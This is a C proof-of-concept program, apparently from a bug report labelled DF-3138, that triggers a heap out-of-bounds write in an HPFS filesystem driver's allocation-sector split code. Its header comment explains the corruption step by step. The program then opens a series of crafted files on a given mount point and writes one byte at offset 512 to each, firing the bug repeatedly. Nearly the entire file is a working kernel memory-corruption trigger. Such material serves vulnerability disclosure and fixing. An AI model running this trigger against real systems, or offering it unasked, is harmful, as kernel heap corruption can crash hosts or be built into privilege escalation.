/*
 * DF-3138 PoC — trigger the AE_SPLIT parent-fixup bcopy OOB write
 * (hpfs_alsubr.c:599) once per crafted file F00..Fnn.
 *
 * Each open+pwrite(1 byte @512) walks fnode -> P (busycnt=61,freecnt=1)
 * -> C (full leaves) ; C splits -> ranp fixup bcopy writes an[61] at
 * P.b_data[508:516) -> 4 bytes past the 512-byte heap buffer; P then
 * splits, OOB-reading [512,516) back into the new AlSec's last an_lsn.
 */
#include <sys/fcntl.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dir;
	char path[512], names[64][8];
	int i, fd, nfail = 0, nok = 0;
	static char one = 0x41;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <mountpoint>\n", argv[0]);
		return 2;
	}
	dir = argv[1];

	for (i = 0; i < 64; i++)
		snprintf(names[i], sizeof(names[i]), "F%02d", i);

	for (i = 0; i < 40; i++) {
		snprintf(path, sizeof(path), "%s/%s", dir, names[i]);
		fd = open(path, O_RDWR);
		if (fd < 0) {
			warn("open %s", path);
			nfail++;
			continue;
		}
		if (pwrite(fd, &one, 1, 512) == 1)
			nok++;
		else
			nfail++;
		close(fd);
	}
	printf("DF3138: %d triggers ok, %d failed\n", nok, nfail);
	return 0;
}
